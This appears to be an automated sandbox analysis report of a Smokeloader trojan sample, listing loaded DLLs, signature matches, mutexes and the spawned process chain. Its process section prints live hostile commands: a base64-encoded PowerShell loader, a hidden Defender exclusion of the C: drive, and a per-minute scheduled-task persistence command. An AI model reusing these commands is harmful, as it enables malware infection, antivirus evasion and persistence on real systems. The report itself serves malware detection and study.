Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: tapi32.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: kernel.appcore.dll

Source: xwREqjHUEv.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000016.00000002.2788977995.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000013.00000002.2538928588.0000000000521000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000013.00000002.2538295136.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000016.00000002.2790746450.0000000001EB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 2964, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5720, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 6.2.powershell.exe.8770000.2.raw.unpack, suSFEPEfDHGCWwn.cs

Base64 encoded string: 'RmFsc2V8RmFsc2V8VHJ1ZXxGYWxzZXxGYWxzZXxGYWxzZXxjdnRyZXN8VW5kTGRsfGV4ZXwyMDAwfFJlZ0FzbS5leGV8djR8cnVuUEU='

Source: 13.3.OpenWith.exe.24aba862410.5.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 13.3.OpenWith.exe.24aba862410.8.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 13.3.OpenWith.exe.24aba862410.18.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 13.3.OpenWith.exe.24aba862410.13.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 13.3.OpenWith.exe.24aba862410.3.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 13.3.OpenWith.exe.24aba862410.4.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 13.3.OpenWith.exe.24aba862410.17.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 13.3.OpenWith.exe.24aba862410.19.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload

Source: powershell.exe, 00000006.00000002.2117709095.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: pRi+QCH[j]N|[RJ/T#*us/x`yq/oTuI`SOI_tU+q@s/n#`J_Our5n.slN5jxqxiNLNBvhVp(tp]ij.@\Lxko5*/k

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@61/35@1/2

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

0_2_00403532

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

Code function: 0_2_004049C7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049C7

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe

Code function: 14_2_000001FF7102262C CreateToolhelp32Snapshot,Thread32First,Thread32Next,FindCloseChangeNotification,SuspendThread,

14_2_000001FF7102262C

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

Code function: 0_2_004021AF CoCreateInstance,

0_2_004021AF

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

File created: C:\Users\user\start.vbs

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3172:120:WilError_03
Source: C:\Windows\SysWOW64\dialer.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2788:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Mutant created: \Sessions\1\BaseNamedObjects\ab10c56eed80d1785b81ee2fcb4bec96

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

File created: C:\Users\user\AppData\Local\Temp\nsxD243.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

Process created: C:\Windows\SysWOW64\wscript.exe "wscript.exe" "C:\Users\user\start.vbs"

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe

Source: xwREqjHUEv.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: xwREqjHUEv.exe

Virustotal: Detection: 23%

Source: F324.exe	String found in binary or memory: {df9dc55e-7bf4-fce3-add0-fbbcbfc59bae}
Source: F324.exe	String found in binary or memory: {870df8a6-6146-5dd5-addd-378b91fba06e}
Source: F324.exe	String found in binary or memory: {4bae1f03-0bb4-adda-209a-54576cafa701}
Source: F324.exe	String found in binary or memory: {384f6227-adde-34e6-e81f-682714c23988}
Source: F324.exe	String found in binary or memory: {e0ebe2ca-8e55-2be3-2544-addea6f5d835}
Source: F324.exe	String found in binary or memory: {0cfe5fb2-a3aa-add2-9c38-b846543ad633}
Source: F324.exe	String found in binary or memory: {3fc95bca-0034-19c0-addc-40ff5a489a31}
Source: F324.exe	String found in binary or memory: {b57dac90-5278-b5a3-addf-eb50dfea59be}
Source: F324.exe	String found in binary or memory: {5b8d1595-add5-40ea-0007-33822a8d20d1}
Source: F324.exe	String found in binary or memory: {21e9d188-9d35-9a3a-addc-1b641930a318}

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

File read: C:\Users\user\Desktop\xwREqjHUEv.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\F324.exe

Evasive API call chain: __getmainargs,DecisionNodes,exit

graph_23-3259

Source: unknown	Process created: C:\Users\user\Desktop\xwREqjHUEv.exe "C:\Users\user\Desktop\xwREqjHUEv.exe"
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Process created: C:\Windows\SysWOW64\wscript.exe "wscript.exe" "C:\Users\user\start.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) \| Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6252 -s 720
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe "C:\Users\user\AppData\Roaming\D4C0.vmt.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\gfiecjd C:\Users\user\AppData\Roaming\gfiecjd
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F324.exe C:\Users\user\AppData\Local\Temp\F324.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F557.exe C:\Users\user\AppData\Local\Temp\F557.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
